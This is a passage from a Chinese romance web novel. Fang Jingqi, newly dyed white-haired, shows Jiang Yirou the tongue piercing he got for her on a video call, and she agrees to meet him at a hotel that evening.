方大少都快气死了,他给姜以柔打电话,咬牙切齿地说道:“姜以柔,别以为我不记得了,那天你明明说过,只要我们获救,你……你就什么都让我做!” 姜以柔轻轻叹了口气,心里有些无奈。 她也不想食言的,但她昨晚刚跟谢凛大战了三百回合,今天还腰酸背痛,马上又要应付方隐年…… 她被喂得太饱了,实在是吃不下了。 姜以柔便温声糊弄道:“镜麒,你现在要做的是好好养伤……” “我的伤早就好了!”方镜麒暴躁地说道。 见姜以柔始终不松口,方镜麒冷哼一声,径直挂了电话。 接下来的几天时间,方镜麒都没有找她。 姜以柔有些意外,以为方大少打算放弃了,这可不像是他的风格啊。 很快,方镜麒的电话又打进来了,而且这次是视频通话。 姜以柔接通之后,惊讶地发现他又染回了那头白毛。 方镜麒长相俊美而精致,这头银白色的碎发压住了他五官的昳丽感,平添几分冷峻的气质。 这一刻,他仿佛真的摆脱了那股幼稚的少年气,成为了一个真正的男人。 “又染发了?”姜以柔挑了挑眉,笑着问道。 方镜麒没有回答她的问题,狭长幽邃的凤眸直勾勾地盯着她,满是侵略性,像只狼崽子。 他轻轻喊了一声,“姜以柔。” 姜以柔感觉他说话的语调有些奇怪,含含糊糊的,还没来得及问,下一秒就震惊地瞪大了眼睛。 方镜麒凤眸微眯,冲着她轻轻吐出了舌尖。 在他嫣红的舌尖上,镶嵌着一点银光—— 方镜麒竟然打了舌钉。 正当姜以柔发愣的时候,方镜麒已经收回了舌头,他顶了顶腮侧,意味深长地说道: “我专门为你去打的。” 方镜麒压低声音,诱惑般低语道:“要不要……试试?” 姜以柔:“……” 姜以柔深吸一口气,说道:“还是上次那个酒店,晚上见。” 方镜麒眉梢轻挑,唇角勾起一个得逞的弧度,那股张扬得意的少年意气扑面而来。《 》